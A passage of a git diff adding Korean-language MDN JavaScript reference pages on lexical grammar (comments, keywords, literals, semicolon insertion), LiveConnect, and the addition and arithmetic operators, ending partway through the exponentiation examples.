+<p>자바스크립트에는 코드 속에 주석을 쓰는 두 가지 방식이 있습니다.</p>
+
+<p>첫 번째, '//'로 첨언하기입니다. 이는 아래의 예시처럼 같은 줄에 있는 모든 코드를 주석으로 바꿉니다.</p>
+
+<pre class="brush: js notranslate">function comment() {
+  // 자바스크립트의 각주 한 줄입니다.
+  console.log("Hello world!");
+}
+comment();
+</pre>
+
+<p>두 번째, 좀 더 유연하게 쓸 수 있는 '/* */'로 첨언하기입니다.</p>
+
+<p>예를 들면, 한 줄에 첨언할 때는 이렇게 쓸 수 있습니다 :</p>
+
+<pre class="brush: js notranslate">function comment() {
+  /* 자바스크립트 각주 한 줄입니다. */
+  console.log("Hello world!");
+}
+comment();</pre>
+
+<p>여러 줄로 첨언할 때는, 이렇게 씁니다 :</p>
+
+<pre class="brush: js notranslate">function comment() {
+  /* This comment spans multiple lines. Notice
+     that we don't need to end the comment until we're done. */
+  console.log("Hello world!");
+}
+comment();</pre>
+
+<p>원한다면, 라인 중간에도 사용할 수 있습니다. 물론 코드의 가독성이 떨어지게 됩니다. 그러니 주의를 기울여 사용해야 합니다:</p>
+
+<p>function comment(x) {</p>
+
+<pre class="brush: js notranslate">  console.log("Hello " + x /* insert the value of x */ + " !");
+}
+comment("world");</pre>
+
+<p>게다가, 코드 실행을 막기 위해 코드를 무용화 시키는데도 사용할 수 있습니다. 아래처럼 코드를 코멘트로 감싸는 거죠:</p>
+
+<pre class="brush: js notranslate">function comment() {
+  /* console.log("Hello world!"); */
+}
+comment();</pre>
+
+<p>In this case, the <code>console.log()</code> call is never issued, since it's inside a comment. Any number of lines of code can be disabled this way.</p>
+
+<h2 id="해시뱅_주석">해시뱅 주석</h2>
+
+<p>A specialized third comment syntax, the <strong>hashbang comment</strong>, is in the process of being standardized in ECMAScript (see the <a href="https://github.com/tc39/proposal-hashbang">Hashbang Grammar proposal</a>).</p>
+
+<p>A hashbang comment behaves exactly like a single line-only (<code>//</code>) comment, but it instead begins with <code>#!</code> and<strong> is only valid at the absolute start of a script or module</strong>. Note also that no whitespace of any kind is permitted before the <code>#!</code>. The comment consists of all the characters after <code>#!</code> up to the end of the first line; only one such comment is permitted.</p>
+
+<p>The hashbang comment specifies the path to a specific JavaScript interpreter<br>
+ that you want to use to execute the script. An example is as follows:</p>
+
+<pre class="brush: js notranslate">#!/usr/bin/env node
+
+console.log("Hello world");
+</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Hashbang comments in JavaScript mimic <a href="https://en.wikipedia.org/wiki/Shebang_(Unix)">shebangs in Unix</a> used to run files with proper interpreter.</p>
+</div>
+
+<div class="blockIndicator warning">
+<p>Although <a href="https://en.wikipedia.org/wiki/Byte_order_mark">BOM</a> before hashbang comment will work in a browser it is not advised to use BOM in a script with hasbang. BOM will not work when you try to run the script in Unix/Linux. So use UTF-8 without BOM if you want to run scripts directly from shell.</p>
+</div>
+
+<p>You must only use the <code>#!</code> comment style to specify a JavaScript interpreter. In all other cases just use a <code>//</code> comment (or mulitiline comment).</p>
+
+<h2 id="키워드">키워드</h2>
+
+<h3 id="ECMAScript_2015_기준_예약_키워드">ECMAScript 2015 기준 예약 키워드</h3>
+
+<ul class="threecolumns">
+ <li>{{jsxref("Statements/break", "break")}}</li>
+ <li>{{jsxref("Statements/switch", "case")}}</li>
+ <li>{{jsxref("Statements/try...catch", "catch")}}</li>
+ <li>{{jsxref("Statements/class", "class")}}</li>
+ <li>{{jsxref("Statements/const", "const")}}</li>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+ <li>{{jsxref("Statements/debugger", "debugger")}}</li>
+ <li>{{jsxref("Statements/default", "default")}}</li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Statements/do...while", "do")}}</li>
+ <li>{{jsxref("Statements/if...else", "else")}}</li>
+ <li>{{jsxref("Statements/export", "export")}}</li>
+ <li>{{jsxref("Statements/class", "extends")}}</li>
+ <li>{{jsxref("Statements/try...catch", "finally")}}</li>
+ <li>{{jsxref("Statements/for", "for")}}</li>
+ <li>{{jsxref("Statements/function", "function")}}</li>
+ <li>{{jsxref("Statements/if...else", "if")}}</li>
+ <li>{{jsxref("Statements/import", "import")}}</li>
+ <li>{{jsxref("Operators/in", "in")}}</li>
+ <li>{{jsxref("Operators/instanceof", "instanceof")}}</li>
+ <li>{{jsxref("Operators/new", "new")}}</li>
+ <li>{{jsxref("Statements/return", "return")}}</li>
+ <li>{{jsxref("Operators/super", "super")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+ <li>{{jsxref("Operators/this", "this")}}</li>
+ <li>{{jsxref("Statements/throw", "throw")}}</li>
+ <li>{{jsxref("Statements/try...catch", "try")}}</li>
+ <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+ <li>{{jsxref("Statements/var", "var")}}</li>
+ <li>{{jsxref("Operators/void", "void")}}</li>
+ <li>{{jsxref("Statements/while", "while")}}</li>
+ <li>{{jsxref("Statements/with", "with")}}</li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+</ul>
+
+<h3 id="확장_예약_키워드">확장 예약 키워드</h3>
+
+<p>The following are reserved as future keywords by the ECMAScript specification. They have no special functionality at present, but they might at some future time, so they cannot be used as identifiers.</p>
+
+<p>These are always reserved:</p>
+
+<ul>
+ <li><code>enum</code></li>
+</ul>
+
+<p>The following are only reserved when they are found in strict mode code:</p>
+
+<ul class="threecolumns">
+ <li><code>implements</code></li>
+ <li><code>interface</code></li>
+ <li>{{jsxref("Statements/let", "let")}}</li>
+ <li><code>package</code></li>
+ <li><code>private</code></li>
+ <li><code>protected</code></li>
+ <li><code>public</code></li>
+ <li><code>static</code></li>
+</ul>
+
+<p>The following are only reserved when they are found in module code:</p>
+
+<ul>
+ <li><code>await</code></li>
+</ul>
+
+<h4 id="구형_표준의_확장_예약_키워드">구형 표준의 확장 예약 키워드</h4>
+
+<p>The following are reserved as future keywords by older ECMAScript specifications (ECMAScript 1 till 3).</p>
+
+<ul class="threecolumns">
+ <li><code>abstract</code></li>
+ <li><code>boolean</code></li>
+ <li><code>byte</code></li>
+ <li><code>char</code></li>
+ <li><code>double</code></li>
+ <li><code>final</code></li>
+ <li><code>float</code></li>
+ <li><code>goto</code></li>
+ <li><code>int</code></li>
+ <li><code>long</code></li>
+ <li><code>native</code></li>
+ <li><code>short</code></li>
+ <li><code>synchronized</code></li>
+ <li><code>throws</code></li>
+ <li><code>transient</code></li>
+ <li><code>volatile</code></li>
+</ul>
+
+<p>Additionally, the literals <code>null</code>, <code>true</code>, and <code>false</code> cannot be used as identifiers in ECMAScript.</p>
+
+<h3 id="예약어_사용법">예약어 사용법</h3>
+
+<p>Reserved words actually only apply to Identifiers (vs. <code>IdentifierNames</code>) . As described in <a href="http://es5.github.com/#A.1">es5.github.com/#A.1</a>, these are all <code>IdentifierNames</code> which do not exclude <code>ReservedWords</code>.</p>
+
+<pre class="brush: js notranslate">a.import
+a['import']
+a = { import: 'test' }.
+</pre>
+
+<p>On the other hand the following is illegal because it's an <code>Identifier</code>, which is an <code>IdentifierName</code> without the reserved words. Identifiers are used for <code>FunctionDeclaration, FunctionExpression, VariableDeclaration</code> and so on. <code>IdentifierNames </code>are used for<code> MemberExpression, CallExpression</code> and so on.</p>
+
+<pre class="brush: js notranslate">function import() {} // Illegal.</pre>
+
+<h2 id="리터럴">리터럴</h2>
+
+<h3 id="Null_리터럴">Null 리터럴</h3>
+
+<p>See also <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/null"><code>null</code></a> for more information.</p>
+
+<pre class="brush: js notranslate">null</pre>
+
+<h3 id="불리언_리터럴">불리언 리터럴</h3>
+
+<p>See also <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean"><code>Boolean</code></a> for more information.</p>
+
+<pre class="brush: js notranslate">true
+false</pre>
+
+<h3 id="숫자_리터럴">숫자 리터럴</h3>
+
+<h4 id="10진법">10진법</h4>
+
+<pre class="brush: js notranslate">1234567890
+42
+
+// Caution when using with a leading zero:
+0888 // 888 parsed as decimal
+0777 // parsed as octal, 511 in decimal
+</pre>
+
+<p>Note that decimal literals can start with a zero (<code>0</code>) followed by another decimal digit, but If all digits after the leading <code>0</code> are smaller than 8, the number is interpreted as an octal number. This won't throw in JavaScript, see {{bug(957513)}}. See also the page about <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt#Octal_interpretations_with_no_radix"><code>parseInt()</code></a>.</p>
+
+<h5 id="Exponential">Exponential</h5>
+
+<p>The decimal exponential literal is specified by the following format: <code>beN</code>; where <code>b</code> is a base number (integer or floating), followed by <code>e</code> char (which serves as separator or <em>exponent indicator</em>) and<em> </em><code>N</code>, which is <em>exponent</em> or <em>power</em> number – a signed integer (as per 2019 ECMA-262 specs): </p>
+
+<pre class="notranslate">0e-5   // =&gt; 0
+0e+5   // =&gt; 0
+5e1    // =&gt; 50
+175e-2 // =&gt; 1.75
+1e3    // =&gt; 1000
+1e-3   // =&gt; 0.001</pre>
+
+<h4 id="2진법">2진법</h4>
+
+<p>Binary number syntax uses a leading zero followed by a lowercase or uppercase Latin letter "B" (<code>0b</code> or <code>0B</code>). Because this syntax is new in ECMAScript 2015, see the browser compatibility table, below. If the digits after the <code>0b</code> are not 0 or 1, the following <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code> is thrown: "Missing binary digits after 0b".</p>
+
+<pre class="brush: js notranslate">var FLT_SIGNBIT  = 0b10000000000000000000000000000000; // 2147483648
+var FLT_EXPONENT = 0b01111111100000000000000000000000; // 2139095040
+var FLT_MANTISSA = 0B00000000011111111111111111111111; // 8388607</pre>
+
+<h4 id="8진법">8진법</h4>
+
+<p>Octal number syntax uses a leading zero followed by a lowercase or uppercase Latin letter "O" (<code>0o</code> or <code>0O)</code>. Because this syntax is new in ECMAScript 2015, see the browser compatibility table, below. If the digits after the <code>0o</code> are outside the range (01234567), the following <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code> is thrown: "Missing octal digits after 0o".</p>
+
+<pre class="brush: js notranslate">var n = 0O755; // 493
+var m = 0o644; // 420
+
+// Also possible with just a leading zero (see note about decimals above)
+0755
+0644
+</pre>
+
+<h4 id="16진법">16진법</h4>
+
+<p>Hexadecimal number syntax uses a leading zero followed by a lowercase or uppercase Latin letter "X" (<code>0x</code> or <code>0X)</code>. If the digits after 0x are outside the range (0123456789ABCDEF), the following <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/SyntaxError">SyntaxError</a></code> is thrown: "Identifier starts immediately after numeric literal".</p>
+
+<pre class="brush: js notranslate">0xFFFFFFFFFFFFFFFFF // 295147905179352830000
+0x123456789ABCDEF   // 81985529216486900
+0XA                 // 10
+</pre>
+
+<h4 id="BigInt_literal">BigInt literal</h4>
+
+<p>The {{jsxref("BigInt")}} type is a numeric primitive in JavaScript that can represent integers with arbitrary precision. BigInt literals are created by appending <code>n</code> to the end of an integer.</p>
+
+<pre class="notranslate">123456789123456789n     // 123456789123456789
+0o777777777777n         // 68719476735
+0x123456789ABCDEFn      // 81985529216486895‬
+0b11101001010101010101n // 955733
+</pre>
+
+<p>Note that legacy octal numbers with just a leading zero won't work for <code>BigInt</code>:</p>
+
+<pre class="example-bad notranslate">// 0755n
+// SyntaxError: invalid BigInt syntax</pre>
+
+<p>For octal <code>BigInt</code> numbers, always use zero followed by the letter "o" (uppercase or lowercase):</p>
+
+<pre class="example-good notranslate">0o755n</pre>
+
+<p>For more information about <code>BigInt</code>, see also <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#BigInt_type">JavaScript data structures</a>.</p>
+
+<h4 id="Numeric_separators">Numeric separators</h4>
+
+<p>To improve readability for numeric literals, underscores (<code>_</code>, <code>U+005F</code>) can be used as separators:</p>
+
+<pre class="notranslate">// separators in decimal numbers
+1_000_000_000_000
+1_050.95
+
+// separators in binary numbers
+0b1010_0001_1000_0101
+
+// separators in octal numbers
+0o2_2_5_6
+
+// separators in hex numbers
+0xA0_B0_C0
+
+// separators in BigInts
+1_000_000_000_000_000_000_000n
+</pre>
+
+<p>Note these limitations:</p>
+
+<pre class="example-bad notranslate">// More than one underscore in a row is not allowed
+100__000; // SyntaxError
+
+// Not allowed at the end of numeric literals
+100_; // SyntaxError
+
+// Can not be used after leading 0
+0_1; // SyntaxError
+</pre>
+
+<h3 id="객체_리터럴">객체 리터럴</h3>
+
+<p>See also {{jsxref("Object")}} and <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">Object initializer</a> for more information.</p>
+
+<pre class="brush: js notranslate">var o = { a: 'foo', b: 'bar', c: 42 };
+
+// shorthand notation. New in ES2015
+var a = 'foo', b = 'bar', c = 42;
+var o = {a, b, c};
+
+// instead of
+var o = { a: a, b: b, c: c };
+</pre>
+
+<h3 id="배열_리터럴">배열 리터럴</h3>
+
+<p>See also {{jsxref("Array")}} for more information.</p>
+
+<pre class="brush: js notranslate">[1954, 1974, 1990, 2014]</pre>
+
+<h3 id="문자열_리터럴">문자열 리터럴</h3>
+
+<p>A string literal is zero or more Unicode code points enclosed in single or double quotes. Unicode code points may also be represented by an escape sequence. All code points may appear literally in a string literal except for these closing quote code points:</p>
+
+<ul>
+ <li>U+005C (backslash),</li>
+ <li>U+000D &lt;CR&gt;,</li>
+ <li>and U+000A &lt;LF&gt;.</li>
+</ul>
+
+<p>Prior to the <a href="https://github.com/tc39/proposal-json-superset">proposal to make all JSON text valid ECMA-262</a>, U+2028 &lt;LS&gt; and U+2029 &lt;PS&gt;, were also disallowed from appearing unescaped in string literals.</p>
+
+<p>Any code points may appear in the form of an escape sequence. String literals evaluate to ECMAScript String values. When generating these String values Unicode code points are UTF-16 encoded.</p>
+
+<pre class="brush: js notranslate">'foo'
+"bar"</pre>
+
+<h4 id="16진수_이스케이프_시퀀스">16진수 이스케이프 시퀀스</h4>
+
+<p>Hexadecimal escape sequences consist of <code>\x</code> followed by exactly two hexadecimal digits representing a code unit or code point in the range 0x0000 to 0x00FF.</p>
+
+<pre class="brush: js notranslate">'\xA9' // "©"
+</pre>
+
+<h4 id="유니코드_이스케이프_시퀀스">유니코드 이스케이프 시퀀스</h4>
+
+<p>A Unicode escape sequence consists of exactly four hexadecimal digits following <code>\u</code>. It represents a code unit in the UTF-16 encoding. For code points U+0000 to U+FFFF, the code unit is equal to the code point. Code points U+10000 to U+10FFFF require two escape sequences representing the two code units (a surrogate pair) used to encode the character; the surrogate pair is distinct from the code point.</p>
+
+<p>See also {{jsxref("String.fromCharCode()")}} and {{jsxref("String.prototype.charCodeAt()")}}.</p>
+
+<pre class="brush: js notranslate">'\u00A9' // "©" (U+A9)</pre>
+
+<h4 id="유니코드_코드_포인트_시퀀스">유니코드 코드 포인트 시퀀스</h4>
+
+<p>A Unicode code point escape consists of <code>\u{</code>, followed by a code point in hexadecimal base, followed by <code>}</code>. The value of the hexadecimal digits must be in the range 0 and 0x10FFFF inclusive. Code points in the range U+10000 to U+10FFFF do not need to be represented as a surrogate pair. Code point escapes were added to JavaScript in ECMAScript 2015 (ES6).</p>
+
+<p>See also {{jsxref("String.fromCodePoint()")}} and {{jsxref("String.prototype.codePointAt()")}}.</p>
+
+<pre class="brush: js notranslate">'\u{2F804}' // CJK COMPATIBILITY IDEOGRAPH-2F804 (U+2F804)
+
+// the same character represented as a surrogate pair
+'\uD87E\uDC04'</pre>
+
+<h3 id="정규_표현식_리터럴">정규 표현식 리터럴</h3>
+
+<p>See also <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp"><code>RegExp</code></a> for more information.</p>
+
+<pre class="brush: js notranslate">/ab+c/g
+
+// An "empty" regular expression literal
+// The empty non-capturing group is necessary
+// to avoid ambiguity with single-line comments.
+/(?:)/</pre>
+
+<h3 id="템플릿_리터럴">템플릿 리터럴</h3>
+
+<p>See also <a href="/en-US/docs/Web/JavaScript/Reference/template_strings">template strings</a> for more information.</p>
+
+<pre class="brush: js notranslate">`string text`
+
+`string text line 1
+ string text line 2`
+
+`string text ${expression} string text`
+
+tag `string text ${expression} string text`</pre>
+
+<h2 id="자동_세미콜론_삽입">자동 세미콜론 삽입</h2>
+
+<p>Some <a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript statements</a> must be terminated with semicolons and are therefore affected by automatic semicolon insertion (ASI):</p>
+
+<ul>
+ <li>Empty statement</li>
+ <li><code>let</code>, <code>const</code>, variable statement</li>
+ <li><code>import</code>, <code>export</code>, module declaration</li>
+ <li>Expression statement</li>
+ <li><code>debugger</code></li>
+ <li><code>continue</code>, <code>break</code>, <code>throw</code></li>
+ <li><code>return</code></li>
+</ul>
+
+<p>The ECMAScript specification mentions<a href="https://tc39.github.io/ecma262/#sec-rules-of-automatic-semicolon-insertion"> three rules of semicolon insertion</a>.</p>
+
+<p>1. A semicolon is inserted before, when a <a href="#Line_terminators">Line terminator</a> or "}" is encountered that is not allowed by the grammar.</p>
+
+<pre class="brush: js notranslate">{ 1 2 } 3
+
+// is transformed by ASI into
+
+{ 1 2 ;} 3;</pre>
+
+<p>2. A semicolon is inserted at the end, when the end of the input stream of tokens is detected and the parser is unable to parse the single input stream as a complete program.</p>
+
+<p>Here <code>++</code> is not treated as a <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment">postfix operator</a> applying to variable <code>b</code>, because a line terminator occurs between <code>b</code> and <code>++</code>.</p>
+
+<pre class="brush: js notranslate">a = b
+++c
+
+// is transformend by ASI into
+
+a = b;
+++c;
+</pre>
+
+<p>3. A semicolon is inserted at the end, when a statement with restricted productions in the grammar is followed by a line terminator. These statements with "no LineTerminator here" rules are:</p>
+
+<ul>
+ <li>PostfixExpressions (<code>++</code> and <code>--</code>)</li>
+ <li><code>continue</code></li>
+ <li><code>break</code></li>
+ <li><code>return</code></li>
+ <li><code>yield</code>, <code>yield*</code></li>
+ <li><code>module</code></li>
+</ul>
+
+<pre class="brush: js notranslate">return
+a + b
+
+// is transformed by ASI into
+
+return;
+a + b;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2("ES1")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-7', 'Lexical Conventions')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-language-lexical-grammar', 'Lexical Grammar')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Added: Binary and Octal Numeric literals, Unicode code point escapes, Templates</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-ecmascript-language-lexical-grammar', 'Lexical Grammar')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.grammar")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("String")}}</li>
+ <li><a href="http://whereswalden.com/2013/08/12/micro-feature-from-es6-now-in-firefox-aurora-and-nightly-binary-and-octal-numbers/">Jeff Walden: Binary and octal numbers</a></li>
+ <li><a href="http://mathiasbynens.be/notes/javascript-escapes">Mathias Bynens: JavaScript character escape sequences</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/liveconnect/index.html b/files/ko/web/javascript/reference/liveconnect/index.html
new file mode 100644
index 0000000000..dfa43d52d0
--- /dev/null
+++ b/files/ko/web/javascript/reference/liveconnect/index.html
@@ -0,0 +1,17 @@
+---
+title: LiveConnect
+slug: Web/JavaScript/Reference/LiveConnect
+translation_of: Archive/Web/LiveConnect
+---
+<p>이 절(section)은 생성자, 메소드와 함께 LiveConnect에 쓰이는 Java 클래스를 상세히 기록합니다. 이 클래스들은 Java 객체가 JavaScript 코드에 접근할 수 있게 합니다.</p>
+<p><a href="ko/Core_JavaScript_1.5_Reference/LiveConnect/JSException">JSException</a></p>
+<dl>
+ <dd>
+  public 클래스 <code>JSException</code>은 <code>RuntimeException</code>를 상속하고, JavaScript가 에러를 반환하면 발생됩니다.</dd>
+</dl>
+<p><a href="ko/Core_JavaScript_1.5_Reference/LiveConnect/JSObject">JSObject</a></p>
+<dl>
+ <dd>
+  public 클래스 <code>JSObject</code>는 <code>Object</code>를 상속합니다. JavaScript 개체는 클래스 <code>JSObject</code>의 인스턴스(instance)로 싸여 Java가 JavaScript 개체를 다루게 하도록 Java에 건네집니다.</dd>
+</dl>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/LiveConnect", "pl": "pl/Dokumentacja_j\u0119zyka_JavaScript_1.5/LiveConnect" } ) }}</p>
diff --git a/files/ko/web/javascript/reference/operators/addition/index.html b/files/ko/web/javascript/reference/operators/addition/index.html
new file mode 100644
index 0000000000..0a624fdd16
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/addition/index.html
@@ -0,0 +1,77 @@
+---
+title: Addition (+)
+slug: Web/JavaScript/Reference/Operators/Addition
+translation_of: Web/JavaScript/Reference/Operators/Addition
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>증가 연산자<sup>addition operator</sup> (<code>+</code>)는 숫자 또는 여러 문자열의 더합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-addition.html")}}</div>
+
+<div></div>
+
+
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox notranslate"><strong>Operator:</strong> <var>x</var> + <var>y</var>
+</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Numeric_addition">Numeric addition</h3>
+
+<pre class="brush: js notranslate">// Number + Number -&gt; addition
+1 + 2 // 3
+
+// Boolean + Number -&gt; addition
+true + 1 // 2
+
+// Boolean + Boolean -&gt; addition
+false + false // 0
+</pre>
+
+<h3 id="String_concatenation">String concatenation</h3>
+
+<pre class="brush: js notranslate">// String + String -&gt; concatenation
+'foo' + 'bar' // "foobar"
+
+// Number + String -&gt; concatenation
+5 + 'foo' // "5foo"
+
+// String + Boolean -&gt; concatenation
+'foo' + false // "foofalse"</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-addition-operator-plus', 'Addition operator')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.operators.addition")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Subtraction">Subtraction operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Division">Division operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Multiplication">Multiplication operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Remainder">Remainder operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Exponentiation">Exponentiation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Increment">Increment operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Decrement">Decrement operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_negation">Unary negation operator</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_plus">Unary plus operator</a></li>
+</ul>
diff --git a/files/ko/web/javascript/reference/operators/arithmetic_operators/index.html b/files/ko/web/javascript/reference/operators/arithmetic_operators/index.html
new file mode 100644
index 0000000000..8b2b274aa6
--- /dev/null
+++ b/files/ko/web/javascript/reference/operators/arithmetic_operators/index.html
@@ -0,0 +1,290 @@
+---
+title: 산술 연산자
+slug: Web/JavaScript/Reference/Operators/Arithmetic_Operators
+tags:
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><span class="seoSummary"><strong>산술 연산자는</strong> 숫자 값(리터럴 또는 변수)을 피연산자로 받아 하나의 숫자 값을 반환합니다.</span> 표준 산술 연산자는 덧셈(+), 뺄셈(-), 곱셈(*), 나눗셈(/)입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-arithmetic.html")}}</div>
+
+
+
+<h2 id="덧셈"><a id="Addition" name="Addition">덧셈 (+)</a></h2>
+
+<p>덧셈 연산자는 숫자 피연산자를 더한 값, 또는 문자열을 연결한 값을 생성합니다.</p>
+
+<h3 id="구문">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x + y
+</pre>
+
+<h3 id="예제">예제</h3>
+
+<pre class="brush: js">// Number + Number -&gt; 합
+1 + 2 // 3
+
+// Boolean + Number -&gt; 합
+true + 1 // 2
+
+// Boolean + Boolean -&gt; 합
+false + false // 0
+
+// Number + String -&gt; 연결
+5 + "foo" // "5foo"
+
+// String + Boolean -&gt; 연결
+"foo" + false // "foofalse"
+
+// String + String -&gt; 연결
+"foo" + "bar" // "foobar"
+</pre>
+
+<h2 id="뺄셈_-"><a id="Subtraction" name="Subtraction">뺄셈 (-)</a></h2>
+
+<p>뺄셈 연산자는 두 개의 피연산자를 뺀 값을 생성합니다.</p>
+
+<h3 id="구문_2">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x - y
+</pre>
+
+<h3 id="예제_2">예제</h3>
+
+<pre class="brush: js">5 - 3 // 2
+3 - 5 // -2
+"foo" - 3 // NaN</pre>
+
+<h2 id="나눗셈"><a id="Division" name="Division">나눗셈 (/)</a></h2>
+
+<p>나눗셈 연산자는 왼쪽 피연산자를 피제수로, 오른쪽 피연산자를 제수로 한 몫을 생성합니다.</p>
+
+<h3 id="구문_3">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x / y
+</pre>
+
+<h3 id="예제_3">예제</h3>
+
+<pre class="brush: js">1 / 2      // JavaScript에선 0.5
+1 / 2      // Java에선 0
+// (양쪽 피연산자 모두 명시적인 부동소수점 숫자가 아님)
+
+1.0 / 2.0  // JavaScript와 Java 둘 다 0.5
+
+2.0 / 0    // JavaScript에서 Infinity
+2.0 / 0.0  // 동일하게 Infinity
+2.0 / -0.0 // JavaScript에서 -Infinity</pre>
+
+<h2 id="곱셈_*"><a id="Multiplication" name="Multiplication">곱셈 (*)</a></h2>
+
+<p>곱셈 연산자는 두 연산자의 곱을 생성합니다.</p>
+
+<h3 id="구문_4">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> x * y
+</pre>
+
+<h3 id="예제_4">예제</h3>
+
+<pre class="brush: js">2 * 2 // 4
+-2 * 2 // -4
+Infinity * 0 // NaN
+Infinity * Infinity // Infinity
+"foo" * 2 // NaN
+</pre>
+
+<h2 id="나머지"><a id="Remainder" name="Remainder">나머지 (%)</a></h2>
+
+<p>나머지 연산자는 왼쪽 피연산자를 오른쪽 피연산자로 나눴을 때의 나머지를 반환합니다. 결과는 항상 피제수의 부호를 따라갑니다.</p>
+
+<h3 id="구문_5">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> var1 % var2
+</pre>
+
+<h3 id="예제_5">예제</h3>
+
+<pre class="brush: js">12 % 5 // 2
+-1 % 2 // -1
+NaN % 2 // NaN
+1 % 2 // 1
+2 % 3 // 2
+-4 % 2 // -0
+5.5 % 2 // 1.5
+</pre>
+
+<h2 id="거듭제곱_**"><a name="Exponentiation">거듭제곱 (**)</a></h2>
+
+<p>거듭제곱 연산자는 첫 번째 피연산자를 밑으로, 두 번째 피연산자를 지수로 한 값을 생성합니다. 즉, <code>var1</code>과 <code>var2</code>가 변수일 때, <code>var1<sup>var2</sup></code>의 값을 생성합니다. 거듭제곱 연산자는 우결합성을 가집니다. 따라서 <code>a ** b ** c</code>는 <code>a ** (b ** c)</code>와 같습니다.</p>
+
+<h3 id="구문_6">구문</h3>
+
+<pre class="syntaxbox"><strong>연산자:</strong> var1 ** var2
+</pre>
+
+<h3 id="참고">참고</h3>
+
+<p>PHP와 Python 등 거듭제곱 연산자를 가진 대부분의 언어는 거듭제곱 연산자의 우선순위가 +와 - 등 단항 연산자보다 높습니다. 그러나 Bash는 단항 연산자가 거듭제곱 연산자보다 우선순위가 높은 등 일부 예외도 있습니다. JavaScript는 단항 연산자(<code>+/-/~/!/delete/void/typeof</code>)를 왼쪽 피연산자 앞에 배치할 수 없으므로, 모호한 표현도 작성할 수 없습니다.</p>
+
+<pre class="brush: js">-2 ** 2;
+// Bash에서 4, 다른 언어에서는 -4.
+// 모호한 표현이므로 JavaScript에서는 유효하지 않음
+
+
+-(2 ** 2);
+// JavaScript에서 -4, 작성자의 의도가 명확함
+</pre>
+
+<h3 id="예제_6">예제</h3>
+
+<pre class="brush: js">2 ** 3 // 8
+3 ** 2 // 9
+3 ** 2.5 // 15.588457268119896
+10 ** -1 // 0.1
+NaN ** 2 // NaN
+
+2 ** 3 ** 2 // 512
+2 ** (3 ** 2) // 512
